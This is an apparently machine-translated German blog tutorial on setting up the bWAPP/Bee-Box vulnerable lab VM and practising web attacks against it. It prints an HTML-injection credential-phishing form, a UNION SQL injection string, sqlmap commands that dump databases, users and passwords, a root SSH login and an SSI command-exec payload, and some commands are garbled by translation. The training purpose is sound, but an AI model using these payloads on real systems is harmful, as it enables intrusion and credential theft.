Angriff auf und Verteidigung von Webanwendungen mit bWAPP

bWAPP ist eine Website, die mit Schwachstellen entwickelt wurde, damit sowohl Anfänger als auch Experten Pentesting und ethisches Hacken üben können . Es kann unter Linux oder Windows auf Apache oder IIS und MySQL gehostet werden. Es wird in WAMP oder XAMPP unterstützt . Eine andere Möglichkeit besteht darin, eine virtuelle Maschine zu verwenden, die für VMware oder VirtualBox funktioniert.

bWAPP ist kostenlos und offen. Sie können es in zwei Versionen herunterladen, eine für die lokale Verwendung und eine für die Installation in einer virtuellen Maschine. Die Website wurde in PHP und MySQL entwickelt und ist daher plattformübergreifend. Wir haben heruntergeladen, um bWAPP lokal zu installieren. Wenn wir in einer virtuellen Maschine installieren möchten, lautet das Projekt Bee-Box .

Bee-Box ist eine virtuelle Linux-Maschine, auf der alles vorinstalliert ist . Wir sollten daher nur alle bWAPP-Schwachstellen untersuchen, ohne das Risiko einzugehen, die bWAPP-Website zu beschädigen. Auch mit der virtuellen Maschine können wir versuchen, root-Zugriff zu bekommen.

bWAPP hat mehr als 100 Fehler zu untersuchen und zu entdecken. Es deckt alle bekannten Sicherheitslücken im Internet ab, einschließlich aller Sicherheitsrisiken. Das Projekt ermöglicht nicht nur die Aufdeckung der Schwachstellen, sondern auch die Suche nach einer Lösung.

In diesem Tutorial installieren wir die Bee-Box-Version von bWAPP . Dazu entpacken wir die heruntergeladene Datei und erstellen einen Ordner mit vielen vmdk-Dateien auf unserem lokalen Server. Als Nächstes erstellen wir die virtuelle Maschine, die eine 32-Bit-Linux-Linux-Version zuweist.

bwapp-02.jpg

Dann müssen wir die heruntergeladene Datei mit dem Namen bee-box.vdmk auswählen

bwapp-03.jpg

Denken Sie vor dem Starten der virtuellen Maschine daran, dass das Netzwerk über Konfiguration konfiguriert werden muss, um eine IP-Adresse zu erhalten und von einem anderen Computer aus auf die virtuelle Maschine zugreifen zu können.

bwapp-04.jpg

Wir klicken auf Erstellen und dann auf Starten, damit die virtuelle Maschine funktioniert. Sobald sie geladen ist, sehen wir den Desktop.

bwapp-05.jpg

Als nächstes öffnen wir das Terminal, um mithilfe des Befehls ifconfig die IP- Adresse zu ermitteln .

bwapp-06.jpg

Wir können sehen, dass die IP in diesem Fall 192.168.0.14 ist. Wenn wir diese IP auf dem Computer außerhalb der virtuellen Maschine testen, sollten wir in der Lage sein, auf das Web zuzugreifen:

 http://192.168.0.14/bWAPP 

Und das Ergebnis wird das folgende sein:

bwapp-07.jpg

Dann können wir mit der Anmeldeseite beginnen. Standardmäßig ist der Benutzer bee und der Schlüsselfehler, um auf das Control Panel zuzugreifen. Im Menü Bugs finden Sie einige Beispiele, die Sie verwenden und mit einigen Schwachstellen testen können, von den einfachsten bis zu den komplexesten. Sehen wir uns einige Schwachstellen nach Art des Angriffs an .

Die Sicherheitsanfälligkeiten sind in folgende Kategorien oder Kapitel unterteilt :

A1 Injektionen
Hier sind die HTML-, SQL-, XSS- und XPATH-Injection- Schwachstellen sowie alle Schwachstellen zusammengefasst, die mit dem Senden von Parametern über Browser zu tun haben.

A2 Authentifizierung und Sitzungen unterbrechen
Hier erfahren Sie, wie Sie Captchas und Anmeldeformulare mithilfe von URL-Ersetzungstechniken angreifen , Parameter erfassen und Sitzungs-IDs verwenden.

A3 Cross Site Scripting (XSS)
Hier sind die Sicherheitslücken in Bezug auf XSS , die nicht sehr gefährlich, sondern eher ärgerlich sind.

A4 Unsichere Objekte und Verzeichnisse
Hier geht es darum , Parameter in Links aus dem Code zu ändern, bevor das Formular gesendet wird.

A5 Sicherheit und Konfiguration
Hier sehen wir einige Angriffe wie DDOS und Middle Attack , die sich auf Dienste wie Mail und Dienste auswirken, die funktionieren.

A6 Offenlegung sensibler Daten
Hier sehen wir eine Reihe von Schwachstellen, mit denen Daten vom Server im Browser angezeigt werden können .

Dies sind einige der Sicherheitslücken. In diesem Tutorial konzentrieren wir uns auf die bekanntesten Angriffe und die Möglichkeit, die Kontrolle über den Server zu übernehmen.

See also  Microsoft Azure-Handbuch

1. HTML-Injection

Reflected HTML Injection, mit der Sie HTML-Code in ein Textfeld einfügen und dann im Web anzeigen können. Wir wählen die erste Injection by GET-Methode aus, wir haben zwei Textfelder, wenn wir zum Beispiel einen Link in jedes eingeben:

 <a href="http://www.sitioatacante.com"> Dringende Nachricht </a> <a href="http://www.sitioatacante.com"> | Ihre Verkäufe </a> 

Beim Absenden des Formulars sehen wir unten, dass beide Links angezeigt werden und warten darauf, dass jemand darauf klickt. Wir können auch mit der POST-Methode testen. bwapp-08.jpg

Ein weiteres Problem, wenn die Eingabe von HTML-Daten nicht kontrolliert wird, besteht darin, dass ein Formular gesendet wird, das den Benutzer davon überzeugt, dass er sich anmelden oder einige Daten eingeben und diese Daten an eine andere Seite senden sollte.

 <b> Sie wurden getrennt. </ b> <br> Geben Sie Ihren Benutzernamen und Ihr Passwort ein, um fortzufahren <form action = "sitiomalicioso.php"> Benutzer: <br> <input type = "text" name = "user" value = ""> <br> Schlüssel: <br> <input type = "text" name = "key" value = ""> <br> <br> <input type = "submit" value = "Accept"> </ form> 

bwapp-09.jpg

2. SQL Injection

Sehen wir uns einen weiteren Angriff wie SQL Injection an. Wenn wir in BUG die Option SQL Injection (GET / Search) auswählen, können wir in diesem Abschnitt nach Filmen wie Iron Man suchen, die zu den Daten des Films führen. bwapp-10.jpg

Dann können wir versuchen, SQL-Code einzufügen, um zu testen, ob die Datenbank anfällig ist. Dazu verwenden wir den folgenden Code, der die Liste der Datenbanken zurückgibt, wenn:

 iron man 'union select 1, table_name, 3,4,5,6,7 from INFORMATION_SCHEMA.TABLES wobei table_schema = database () -' 

Das Ergebnis ist die Liste der Tabellen, daher ist die Datenbank anfällig: bwapp-11.jpg

Da wir wissen, dass die Datenbank anfällig ist, können wir einige Techniken anwenden, die wir im Tutorial SQLMAP SQL Injection Tool und Ethical Database Hacking kennengelernt haben , in dem wir auf der Stammebene nach den Administratorschlüsseln gesucht haben.

See also  Laden Sie TeamViewer 14 Windows 10 kostenlos herunter

Aus dem Terminalfenster schreiben wir den folgenden Befehl, wir verwenden die Seite, die wir für den Film suchen, da es einen Parameter hat, der anfällig sein kann.

 sqlmap -u "http://192.168.0.14/bWAPP/sqli_1.php?title=iron&action=search" --dbs 

bwapp-12.jpg

Es zeigt uns die Datenbanken, eine davon ist bWAPP, daher werden wir versuchen, die Liste der Tabellen abzurufen, in dem Wissen, dass das Datenbankmodul MySQL 5 ist. Um die Liste der Tabellen abzurufen, verwenden wir den folgenden Befehl.

 sqlmap -u "http://192.168.0.14/bWAPP/sqli_1.php?title=iron&action=search" -tables 

bwapp-13.jpg

Wir können sehen, dass alle Tabellen aufgelistet sind, nicht nur im Web, sondern auch im System, damit wir die Daten vom Linux-Administrator erhalten können. Wir können die PHP-Sitzung auch mit Firebug ausnutzen. Wir können die Sitzungsnummer anzeigen, da beim Erstellen eines Benutzers oder beim Anmelden oder Generieren von dynamischem Inhalt, wie z. B. einer Suche, die Antwort des Servers eine PHPSession erstellt.

bwapp-14.jpg

Mit dem Befehl –users und der Sitzung oder mit dem Befehl without session können wir die Systembenutzer sehen.

 sqlmap -u "http://192.168.0.14/bWAPP/sqli_1.php?title=iron&action=search" --users 

Ein weiterer Optionsbefehl mit Sitzungs-ID:

 sqlmap -u "http://192.168.0.14/bWAPP/sqli_1.php?title=iron&action=search" --cookie = "PHPSESSID = e6f734f935bca3bf86013add7ea2e3f9; security_level = 0" --users 

bwapp-15.jpg

Als nächstes werden wir mit dem folgenden Befehl nach Systembenutzern suchen:

 sqlmap -u "http://192.168.0.14/bWAPP/sqli_1.php?title=iron&action=search" dba --is-dba --privileges --dbs -dump 

Als Ergebnis erhalten wir Tabellen mit einem Kennwort, von denen einer Benutzer mit den Administratordaten und der andere die Tabelle der Helden und Benutzer (Benutzer) ist, mit denen wir uns als Benutzer anmelden.

bwapp-16.jpg

Die Benutzertabelle enthält die Daten der Administratoren der Webseite:

bwapp-17.jpg

Als nächstes erhalten wir den Root-Schlüssel der Benutzer, die wir oben dafür gefunden haben. Wir verwenden den folgenden Befehl:

 sqlmap -u "http://192.168.0.14/bWAPP/sqli_1.php?title=iron&action=search" -f -b --aktueller Benutzer --is-dba --is-dba --privileges --dbs - Dump 

Am Ende der Befehle, die einen Brute-Force-Angriff verwenden, stellen wir fest, dass der Schlüssel des Systemadministrators ein Fehler ist und der Root-Benutzer.

bwapp-18.jpg

Versuchen wir vom Terminal aus, über ssh eine Verbindung zur virtuellen Maschine herzustellen, um den Computer mit dem folgenden Befehl fernzusteuern:

 ssh [email protected] 

Das Ergebnis unter Verwendung des Root-Benutzers und des Fehlerschlüssels ist die Verbindung mit Administratorberechtigungen für die virtuelle Maschine.

bwapp-19.jpg

Als nächstes testen wir, ob wir uns im Bereich Helden und Benutzer mit den zuvor erhaltenen Daten anmelden können, zum Beispiel dem Neo-Benutzer und dem Trinity-Passwort.

bwapp-20.jpg

Es ist uns gelungen, problemlos auf diese Benutzerdaten zuzugreifen. Wenn wir die Benutzertabelle verwenden, können wir uns auch anmelden.

3. HTML / XPATH-Injektion

Einer der am wenigsten bedachten Angriffe betrifft Browser, die das Bearbeiten von Code ermöglichen. Wenn wir einen Link zu einer schädlichen Website ändern, bemerkt der Benutzer dies nicht und die Änderung geht verloren, wenn das Web aktualisiert wird.

Zum Beispiel ändern wir das Passwort und klicken mit der rechten Maustaste, um einen Inspektor oder Code-Editor zu öffnen und die URL change_password.php von http://google.com zu ändern und den Editor zu schließen

See also  So setzen Sie die Windows 10-HOSTS-Datei standardmäßig zurück

bwapp-21.jpg

Wenn der Benutzer auf diesen Link klickt, wird er auf eine andere Seite umgeleitet. Dies ist sehr ineffektiv, da der Link beim Aktualisieren oder Ändern der Seite wieder das Original ist. Dies ist nützlich, um vor dem Klicken auf einen Link, der uns zu einer sicheren Website oder innerhalb derselben Domain führt, nachzuschauen.

4. Injektion von Code in den Server (Server Side Injection)

Serverseitige Injektion ist, wenn ein Web anfällig ist und Sie Befehle aus einer Sprache oder vom Betriebssystem eingeben können, um Aktionen auf dem Server auszuführen.

Ein Angreifer sendet einen böswilligen Code oder einen Befehl über ein Textfeld einer Webanwendung, die vom Webserver ausgeführt wird. Sehen wir uns ein Beispiel an, in dem Verzeichnisse mit dem Linux-Befehl ls aufgelistet werden können. Dieser Befehl wird folgendermaßen geschrieben:

 <! - # exec cmd = "ls -l" -> 

bwapp-22.jpg

Das Ergebnis ist die Liste aller Serververzeichnisse. Wir müssen also überprüfen, dass keine Befehle eingegeben werden können.

bwapp-23.jpg

Eines der Tools, die wir für das bWAPP-Projekt vorschlagen, ist ZAP (Zed Attack Proxy). Dieses Tool haben wir im Tutorial zum Scannen von Sicherheitslücken einer Website mit ZAP gesehen . Es wird häufig zum Scannen von Sicherheitslücken und zum Durchführen von Penetrationstests für Websites verwendet . Die aktuellste Version können wir unter folgendem Link herunterladen:

ZAP HERUNTERLADEN

Wählen Sie die Version entsprechend dem von uns verwendeten Betriebssystem oder einer in Java entwickelten Multiplattform-Version. Nach der Installation werden wir versuchen, das bWAPP-Web mit ZAP zu scannen und nach einigen Schwachstellen zu suchen.

bwapp-25.jpg

Wenn wir ZAP starten und einen Scan durchführen, werden wir feststellen, dass es die meisten Schwachstellen entdeckt. Um die Scanregeln zu definieren, können wir zum Menü Analysieren> Scanregeln gehen und dann auf Standardrichtlinie doppelklicken .

Sehen wir uns auf einer der Anmeldeseiten an, dass die Benutzerebene als Parameter gesendet wird, in diesem Fall der Administrator.

bwapp-26.jpg

Wir können die Filter auch verwenden, wie wir im ZAP-Tutorial gesehen haben, um SQL-Injection und andere Angriffe auszuführen.

bwapp-27.jpg

Die Sicherheit von Webanwendungen ist neben gutem Design und Inhalt ein sehr wichtiger Aspekt . bWAPP ist eine Plattform, die es uns ermöglicht, viele Schwachstellen zu erkennen und zu beweisen, um dieses Wissen dann auf unserer Website anzuwenden, und es Fachleuten, Entwicklern und Studenten ermöglicht, Schwachstellen im Internet zu entdecken und zu verhindern.

bWAPP wird häufig für Penetrationstests von Webanwendungen und ethischen Hacking-Projekten verwendet. bWAPP deckt alle bekannten Sicherheitslücken im Internet ab , einschließlich aller Risiken des OWASP Top 10-Projekts , bei dem Sicherheitslücken Jahr für Jahr in 10 Kategorien erfasst werden.

Abschließend empfehlen wir diesen Artikel mit einer Erläuterung der Arten von Computerangriffen .

administrator

Leave a Reply

Your email address will not be published. Required fields are marked *